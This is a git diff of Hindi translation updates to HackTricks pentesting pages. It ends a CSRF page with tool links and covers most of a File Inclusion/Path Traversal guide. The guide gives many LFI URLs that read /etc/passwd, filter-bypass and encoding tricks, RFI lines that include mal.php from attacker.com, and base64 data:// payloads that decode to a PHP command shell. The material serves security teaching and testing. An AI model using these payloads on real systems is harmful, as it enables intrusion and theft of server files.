```
|
||||
## Tools <a href="#tools" id="tools"></a>
|
||||
## टूल्स <a href="#tools" id="tools"></a>
|
||||
|
||||
- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
||||
- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
|
||||
- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
|
||||
- [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
||||
|
||||
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,61 +1,61 @@
|
||||
# फ़ाइल समावेश/पथ यात्रा
|
||||
# File Inclusion/Path traversal
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## फ़ाइल समावेश
|
||||
## File Inclusion
|
||||
|
||||
**रिमोट फ़ाइल समावेश (RFI):** फ़ाइल एक रिमोट सर्वर से लोड की जाती है (सर्वश्रेष्ठ: आप कोड लिख सकते हैं और सर्वर इसे निष्पादित करेगा)। PHP में यह **डिफ़ॉल्ट रूप से निष्क्रिय** है (**allow_url_include**)।\
|
||||
**लोकल फ़ाइल समावेश (LFI):** सर्वर एक स्थानीय फ़ाइल लोड करता है।
|
||||
**Remote File Inclusion (RFI):** फाइल एक रिमोट सर्वर से लोड होती है (सबसे अच्छा: आप कोड लिख सकते हैं और सर्वर उसे निष्पादित करेगा). In php यह डिफ़ॉल्ट रूप से **अक्षम** है (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** सर्वर एक स्थानीय फ़ाइल लोड करता है.
|
||||
|
||||
कमजोरी तब होती है जब उपयोगकर्ता किसी न किसी तरीके से उस फ़ाइल को नियंत्रित कर सकता है जिसे सर्वर द्वारा लोड किया जाने वाला है।
|
||||
The vulnerability तब होती है जब यूज़र किसी तरह उस फाइल को नियंत्रित कर सकता है जिसे सर्वर लोड करने वाला है.
|
||||
|
||||
कमजोर **PHP फ़ंक्शन**: require, require_once, include, include_once
|
||||
Vulnerable **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
इस कमजोरी का शोषण करने के लिए एक दिलचस्प उपकरण: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
एक रोचक टूल इस vulnerability को exploit करने के लिए: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## ब्लाइंड - दिलचस्प - LFI2RCE फ़ाइलें
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**कई \*nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाया है:**
|
||||
**कई \*nix LFI सूची मिलाकर और अधिक paths जोड़कर मैंने यह बनाया है:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
"/" को "\" में बदलने की कोशिश करें\
|
||||
"../../../../../" जोड़ने की भी कोशिश करें
|
||||
साथ ही `/` को `\` में बदलकर भी आज़माएँ\
|
||||
साथ ही `../../../../../` जोड़कर भी आज़माएँ
|
||||
|
||||
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /etc/password (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहां](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है।
|
||||
कई तकनीकों का उपयोग करके फ़ाइल /etc/password खोजने के लिए (जाँचने के लिए कि कमज़ोरी मौजूद है) एक सूची [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) मिल सकती है
|
||||
|
||||
### **Windows**
|
||||
|
||||
विभिन्न शब्द सूचियों का संयोजन:
|
||||
विभिन्न wordlists का merge:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
"/" को "\" में बदलने की कोशिश करें\
|
||||
"C:/" को हटाने और " ../../../../../" जोड़ने की भी कोशिश करें
|
||||
साथ ही `/` को `\` में बदलकर भी आज़माएँ\
|
||||
साथ ही `C:/` हटाकर `../../../../../` जोड़कर भी आज़माएँ
|
||||
|
||||
एक सूची जो कई तकनीकों का उपयोग करके फ़ाइल /boot.ini (यह जांचने के लिए कि क्या भेद्यता मौजूद है) को खोजने के लिए बनाई गई है, [यहां](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है।
|
||||
कई तकनीकों का उपयोग करके फ़ाइल /boot.ini खोजने के लिए (जाँचने के लिए कि कमज़ोरी मौजूद है) एक सूची [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) मिल सकती है
|
||||
|
||||
### **OS X**
|
||||
|
||||
लिनक्स की LFI सूची की जांच करें।
|
||||
linux की LFI सूची चेक करें।
|
||||
|
||||
## Basic LFI and bypasses
|
||||
## बुनियादी LFI और bypasses
|
||||
|
||||
सभी उदाहरण स्थानीय फ़ाइल समावेश के लिए हैं लेकिन इसे दूरस्थ फ़ाइल समावेश पर भी लागू किया जा सकता है (पृष्ठ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)।
|
||||
सभी उदाहरण Local File Inclusion के लिए हैं लेकिन Remote File Inclusion पर भी लागू किए जा सकते हैं (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### traversal sequences stripped non-recursively
|
||||
### traversal sequences गैर-रेकर्सिव रूप से हटाए गए
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
प्रदान किए गए स्ट्रिंग के अंत में अधिक वर्ण जोड़ने को बायपास करें (बायपास: $\_GET\['param']."php")
|
||||
प्रदान किए गए string के अंत में अतिरिक्त characters जोड़ दिए जाने को बायपास करें (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
यह **PHP 5.4 से हल किया गया है**
|
||||
यह **PHP 5.4 से सुलझा हुआ है**
|
||||
|
||||
### **कोडिंग**
|
||||
### **एन्कोडिंग**
|
||||
|
||||
आप डबल URL एन्कोड (और अन्य) जैसी गैर-मानक एन्कोडिंग का उपयोग कर सकते हैं:
|
||||
आप गैर-मानक एन्कोडिंग्स का उपयोग कर सकते हैं, जैसे double URL encode (और अन्य):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### From existent folder
|
||||
### मौजूदा folder से
|
||||
|
||||
शायद बैक-एंड फ़ोल्डर पथ की जांच कर रहा है:
|
||||
शायद back-end folder path की जाँच कर रहा है:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं की खोज
|
||||
### सर्वर पर फ़ाइल सिस्टम डायरेक्टरीज़ का अन्वेषण
|
||||
|
||||
सर्वर का फ़ाइल सिस्टम कुछ तकनीकों का उपयोग करके निर्देशिकाओं की पहचान के लिए पुनरावृत्त रूप से खोजा जा सकता है, न कि केवल फ़ाइलों के लिए। इस प्रक्रिया में निर्देशिका की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व के लिए जांच करना शामिल है। इसे प्राप्त करने के लिए एक विस्तृत विधि नीचे दी गई है:
|
||||
कुछ तकनीकों का उपयोग करके सर्वर के फ़ाइल सिस्टम को पुनरावर्ती तरीके से खोजा जा सकता है ताकि केवल फ़ाइलें ही नहीं बल्कि डायरेक्टरीज़ भी पहचानी जा सकें। इस प्रक्रिया में डायरेक्टरी की गहराई निर्धारित करना और विशिष्ट फ़ोल्डरों के अस्तित्व की जांच शामिल है। इसे प्राप्त करने के लिए नीचे एक विस्तृत तरीका दिया गया है:
|
||||
|
||||
1. **निर्देशिका की गहराई निर्धारित करें:** अपने वर्तमान निर्देशिका की गहराई का पता लगाएं `/etc/passwd` फ़ाइल को सफलतापूर्वक लाकर (यदि सर्वर Linux-आधारित है)। एक उदाहरण URL इस प्रकार संरचित हो सकता है, जो तीन की गहराई को इंगित करता है:
|
||||
1. **डायरेक्टरी गहराई निर्धारित करें:** अपनी वर्तमान डायरेक्टरी की गहराई जानें, `/etc/passwd` फाइल को सफलतापूर्वक प्राप्त करके (यदि सर्वर Linux-आधारित है तो लागू)। एक उदाहरण URL निम्नलिखित संरचना में हो सकता है, जो तीन की गहराई प्रदर्शित करता है:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **फोल्डरों के लिए जांचें:** संदिग्ध फोल्डर का नाम (जैसे, `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएं। अतिरिक्त निर्देशिका स्तर के लिए गहराई को एक से बढ़ाना आवश्यक है:
|
||||
2. **Probe for Folders:** संदिग्ध फ़ोल्डर का नाम (उदा., `private`) URL में जोड़ें, फिर `/etc/passwd` पर वापस जाएँ। अतिरिक्त डायरेक्टरी स्तर के कारण depth को एक बढ़ाना होगा:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **परिणामों की व्याख्या करें:** सर्वर की प्रतिक्रिया यह संकेत करती है कि फ़ोल्डर मौजूद है या नहीं:
|
||||
- **त्रुटि / कोई आउटपुट नहीं:** फ़ोल्डर `private` संभवतः निर्दिष्ट स्थान पर मौजूद नहीं है।
|
||||
- **`/etc/passwd` की सामग्री:** `private` फ़ोल्डर की उपस्थिति की पुष्टि होती है।
|
||||
4. **पुनरावृत्त अन्वेषण:** खोजे गए फ़ोल्डरों को उपनिर्देशिकाओं या फ़ाइलों के लिए आगे जांचा जा सकता है, उसी तकनीक या पारंपरिक लोकल फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।
|
||||
3. **परिणामों की व्याख्या करें:** सर्वर का जवाब संकेत देता है कि फ़ोल्डर मौजूद है या नहीं:
|
||||
- **त्रुटि / कोई आउटपुट नहीं:** निर्दिष्ट स्थान पर `private` फ़ोल्डर संभवतः मौजूद नहीं है।
|
||||
- **Contents of `/etc/passwd`:** `private` फ़ोल्डर मौजूद होने की पुष्टि होती है।
|
||||
4. **पुनरावर्ती अन्वेषण:** मिले हुए फ़ोल्डरों की उप-डायरेक्टरीज़ या फ़ाइलों के लिए उसी तकनीक या पारंपरिक Local File Inclusion (LFI) तरीकों का उपयोग कर आगे परीक्षण किया जा सकता है।
|
||||
|
||||
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, पेलोड को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि क्या `/var/www/` में `private` निर्देशिका है (मान लेते हैं कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:
|
||||
फाइल सिस्टम में अलग-अलग स्थानों पर डायरेक्टरीज़ की जांच करने के लिए payload को तदनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि `/var/www/` में `private` डायरेक्टरी है या नहीं (मानते हुए कि वर्तमान डायरेक्टरी की गहराई 3 है), उपयोग करें:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation एक विधि है जिसका उपयोग वेब अनुप्रयोगों में फ़ाइल पथों को हेरफेर करने के लिए किया जाता है। इसका अक्सर उपयोग प्रतिबंधित फ़ाइलों तक पहुँचने के लिए किया जाता है, जिससे कुछ सुरक्षा उपायों को बायपास किया जा सके जो फ़ाइल पथों के अंत में अतिरिक्त वर्ण जोड़ते हैं। लक्ष्य यह है कि एक फ़ाइल पथ तैयार किया जाए जो, जब सुरक्षा उपाय द्वारा परिवर्तित किया जाए, तब भी इच्छित फ़ाइल की ओर इंगित करे।
|
||||
Path truncation एक तरीका है जिसका उपयोग वेब एप्लिकेशन में फाइल पथों को बदलने के लिए किया जाता है। इसका अक्सर उपयोग उन प्रतिबंधित फ़ाइलों तक पहुंचने के लिए किया जाता है जिन्हें फ़ाइल पथों के अंत में अतिरिक्त अक्षर जोड़ने वाले कुछ सुरक्षा उपाय बायपास करके छुपाया जाता है। लक्ष्य ऐसा फाइल पथ बनाना है कि सुरक्षा उपाय द्वारा बदला जाने पर भी वह इच्छित फ़ाइल की ओर इशारा करे।
|
||||
|
||||
PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व फ़ाइल प्रणाली की प्रकृति के कारण समान माने जा सकते हैं। उदाहरण के लिए:
|
||||
In PHP, फाइल सिस्टम की प्रकृति के कारण किसी फ़ाइल पथ के विभिन्न रूप समान माने जा सकते हैं। उदाहरण के लिए:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, और `/etc/passwd/` सभी को एक ही पथ के रूप में माना जाता है।
|
||||
- जब अंतिम 6 वर्ण `passwd` होते हैं, तो `/` जोड़ने (जिससे यह `passwd/` बनता है) से लक्षित फ़ाइल में कोई परिवर्तन नहीं होता है।
|
||||
- इसी तरह, यदि `.php` को फ़ाइल पथ में जोड़ा जाता है (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से पहुँचाई जा रही फ़ाइल में कोई परिवर्तन नहीं होगा।
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` को सभी एक ही पथ माना जाता है।
|
||||
- जब अंतिम 6 अक्षर `passwd` हों, तो अंत में `/` जोड़ने (जिससे यह `passwd/` बनता है) लक्ष्य फ़ाइल को बदलता नहीं है।
|
||||
- इसी तरह, अगर किसी फ़ाइल पथ में `.php` जोड़ा गया हो (जैसे `shellcode.php`), तो अंत में `/.` जोड़ने से एक्सेस की जा रही फ़ाइल बदलती नहीं है।
|
||||
|
||||
प्रदान किए गए उदाहरण यह दर्शाते हैं कि कैसे `/etc/passwd` तक पहुँचने के लिए पथ ट्रंकशन का उपयोग किया जा सकता है, जो इसके संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:
|
||||
The provided examples demonstrate how to utilize path truncation to access `/etc/passwd`, a common target due to its sensitive content (उपयोगकर्ता खाता जानकारी):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर भिन्न हो सकती है।
|
||||
इन मामलों में, आवश्यक traversals की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर बदल सकती है।
|
||||
|
||||
- **डॉट सेगमेंट और अतिरिक्त वर्णों का उपयोग करना**: ट्रैवर्सल अनुक्रम (`../`) को अतिरिक्त डॉट सेगमेंट और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, प्रभावी रूप से सर्वर द्वारा जोड़े गए स्ट्रिंग्स की अनदेखी करते हुए।
|
||||
- **आवश्यक ट्रैवर्सल की संख्या निर्धारित करना**: परीक्षण और त्रुटि के माध्यम से, कोई भी `../` अनुक्रमों की सटीक संख्या खोज सकता है जो रूट निर्देशिका में नेविगेट करने और फिर `/etc/passwd` तक पहुँचने के लिए आवश्यक है, यह सुनिश्चित करते हुए कि कोई भी जोड़ी गई स्ट्रिंग्स (जैसे `.php`) निष्क्रिय हो जाती हैं लेकिन इच्छित पथ (`/etc/passwd`) बरकरार रहता है।
|
||||
- **एक नकली निर्देशिका से शुरू करना**: पथ को एक गैर-मौजूद निर्देशिका (जैसे `a/`) से शुरू करना एक सामान्य प्रथा है। इस तकनीक का उपयोग एक एहतियाती उपाय के रूप में या सर्वर के पथ पार्सिंग लॉजिक की आवश्यकताओं को पूरा करने के लिए किया जाता है।
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) और अतिरिक्त dot segments और characters के संयोजन से फ़ाइल सिस्टम में नेविगेट किया जा सकता है, और सर्वर द्वारा जोड़े गए appended strings को प्रभावी रूप से अनदेखा किया जा सकता है।
|
||||
- **Determining the Required Number of Traversals**: Trial and error के माध्यम से, कोई भी यह पता लगा सकता है कि रूट निर्देशिका तक और फिर `/etc/passwd` तक पहुँचने के लिए कितनी `../` sequences की आवश्यकता है, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे `.php`) को neutralize किया गया है पर इच्छित path (`/etc/passwd`) बरकरार रहता है।
|
||||
- **Starting with a Fake Directory**: यह सामान्य प्रथा है कि path की शुरुआत एक non-existent directory (जैसे `a/`) से की जाए। यह technique सावधानी के तौर पर या सर्वर के path parsing logic की आवश्यकताओं को पूरा करने के लिए उपयोग की जाती है।
|
||||
|
||||
पथ ट्रंकटेशन तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य के लिए एक अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।
|
||||
path truncation techniques का उपयोग करते समय, सर्वर के path parsing व्यवहार और फ़ाइल सिस्टम की संरचना को समझना अनिवार्य है। हर परिदृश्य के लिए अलग दृष्टिकोण आवश्यक हो सकता है, और सबसे प्रभावी तरीका खोजने के लिए अक्सर परीक्षण आवश्यक होता है।
|
||||
|
||||
**यह भेद्यता PHP 5.3 में ठीक की गई थी।**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **फिल्टर बायपास ट्रिक्स**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
In php यह डिफ़ॉल्ट रूप से बंद है क्योंकि **`allow_url_include`** **Off** है। इसे काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल शामिल कर सकते हैं और RCE प्राप्त कर सकते हैं:
|
||||
php में यह डिफ़ॉल्ट रूप से disabled है क्योंकि **`allow_url_include`** **Off.** इसे काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल include करके RCE प्राप्त कर सकते हैं:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपृष्ठों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें base64 कोड को डिकोड करने के लिए b64 PHP कोड का उपयोग किया जा सकता है और RCE प्राप्त किया जा सकता है:
|
||||
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को **filtering** कर रहा है, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), तो आप उदाहरण के लिए data protocol को base64 के साथ उपयोग करके b64 PHP कोड को डिकोड करके egt RCE प्राप्त कर सकते हैं:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> पिछले कोड में, अंतिम `+.txt` जोड़ा गया था क्योंकि हमलावर को एक ऐसा स्ट्रिंग चाहिए था जो `.txt` में समाप्त होता हो, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल बकवास लौटाएगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)।
|
||||
> पिछले कोड में, अंतिम `+.txt` इसलिए जोड़ा गया था क्योंकि हमलावर को एक string चाहिए था जो `.txt` पर खत्म होता हो, इसलिए string इसके साथ खत्म होता है और b64 decode के बाद वह भाग केवल जंक लौटाएगा और असली PHP code included होगा (और इसलिए, executed)।
|
||||
|
||||
एक और उदाहरण **`php://` प्रोटोकॉल का उपयोग न करते हुए** होगा:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Root element
|
||||
## Python रूट एलिमेंट
|
||||
|
||||
In python in a code like this one:
|
||||
Python में इस तरह के कोड में:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
यदि उपयोगकर्ता **`file_name`** के लिए **पूर्ण पथ** देता है, तो **पिछला पथ बस हटा दिया जाता है**:
|
||||
यदि उपयोगकर्ता **absolute path** को **`file_name`** में पास करता है, तो **previous path बस हटा दिया जाता है**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
यह अपेक्षित व्यवहार है [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार:
|
||||
यह [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार अपेक्षित व्यवहार है:
|
||||
|
||||
> यदि एक घटक एक पूर्ण पथ है, तो सभी पिछले घटक हटा दिए जाते हैं और जोड़ना पूर्ण पथ घटक से जारी रहता है।
|
||||
> यदि कोई component एक absolute path है, तो पहले के सभी components हटा दिए जाते हैं और joining absolute path component से जारी रहती है।
|
||||
|
||||
## Java सूची निर्देशिकाएँ
|
||||
## Java डायरेक्टरी सूची
|
||||
|
||||
ऐसा लगता है कि यदि आपके पास Java में एक Path Traversal है और आप **एक निर्देशिका के लिए पूछते हैं** बजाय एक फ़ाइल के, तो **निर्देशिका की एक सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (मेरी जानकारी के अनुसार)।
|
||||
ऐसा लगता है कि यदि आपके पास Java में एक Path Traversal है और आप फ़ाइल के बजाय **डायरेक्टरी के लिए अनुरोध करते हैं**, तो **डायरेक्टरी की सूची लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (जितना मुझे पता है)।
|
||||
|
||||
## शीर्ष 25 पैरामीटर
|
||||
|
||||
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो स्थानीय फ़ाइल समावेशन (LFI) कमजोरियों के लिए संवेदनशील हो सकते हैं (से [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) vulnerabilities के प्रति संवेदनशील हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -215,34 +215,34 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP फ़िल्टर डेटा पर **संशोधन संचालन करने** की अनुमति देते हैं इससे पहले कि इसे पढ़ा या लिखा जाए। फ़िल्टर की 5 श्रेणियाँ हैं:
|
||||
PHP filters पढ़े या लिखे जाने से पहले डेटा पर बुनियादी **संशोधन ऑपरेशन** करने की अनुमति देते हैं। इन फ़िल्टर्स की 5 श्रेणियाँ हैं:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: डेटा से टैग हटाएँ (सब कुछ "<" और ">" अक्षरों के बीच)
|
||||
- ध्यान दें कि यह फ़िल्टर आधुनिक PHP संस्करणों से गायब हो गया है
|
||||
- `string.strip_tags`: डेटा से टैग हटाएँ (\"<\" और \">\" अक्षरों के बीच की हर चीज)
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : एक अलग एन्कोडिंग में परिवर्तित करता है(`convert.iconv.<input_enc>.<output_enc>`)। **सभी समर्थित एन्कोडिंग की सूची** प्राप्त करने के लिए कंसोल में चलाएँ: `iconv -l`
|
||||
- `convert.iconv.*` : किसी अन्य encoding में बदलता है (`convert.iconv.<input_enc>.<output_enc>`)। समर्थित **सभी एन्कोडिंग्स की सूची** पाने के लिए कंसोल में चलाएँ: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> `convert.iconv.*` रूपांतरण फ़िल्टर का दुरुपयोग करके आप **मनमाना पाठ उत्पन्न** कर सकते हैं, जो मनमाना पाठ लिखने या किसी फ़ंक्शन को शामिल करने की प्रक्रिया में मनमाना पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> `convert.iconv.*` conversion filter का दुरुपयोग करके आप **मनमाना टेक्स्ट उत्पन्न** कर सकते हैं, जो मनमाना टेक्स्ट लिखने या include जैसे फ़ंक्शन को मनमाना टेक्स्ट प्रोसेस करने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: सामग्री को संकुचित करें (यदि बहुत सारी जानकारी निकालना हो तो उपयोगी)
|
||||
- `zlib.inflate`: डेटा को अनसंकुचित करें
|
||||
- `zlib.deflate`: कंटेंट को compress करता है (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: डेटा को decompress करता है
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- `mcrypt.*` : अप्रचलित
|
||||
- `mdecrypt.*` : अप्रचलित
|
||||
- Other Filters
|
||||
- php में चलाकर `var_dump(stream_get_filters());` आप कुछ **अप्रत्याशित फ़िल्टर** पा सकते हैं:
|
||||
- PHP में `var_dump(stream_get_filters());` चलाने पर आप कुछ **अनपेक्षित फ़िल्टर्स** पा सकते हैं:
|
||||
- `consumed`
|
||||
- `dechunk`: HTTP चंक्ड एन्कोडिंग को उलटता है
|
||||
- `dechunk`: HTTP chunked encoding को उलट देता है
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> भाग "php://filter" केस-संवेदनशील नहीं है
|
||||
> "php://filter" भाग केस-संवेदी नहीं है
|
||||
|
||||
### php फ़िल्टर का उपयोग करके मनमाने फ़ाइलों को पढ़ने के लिए ऑरेकल के रूप में
|
||||
### php filters को oracle के रूप में उपयोग करके किसी भी फ़ाइल पढ़ना
|
||||
|
||||
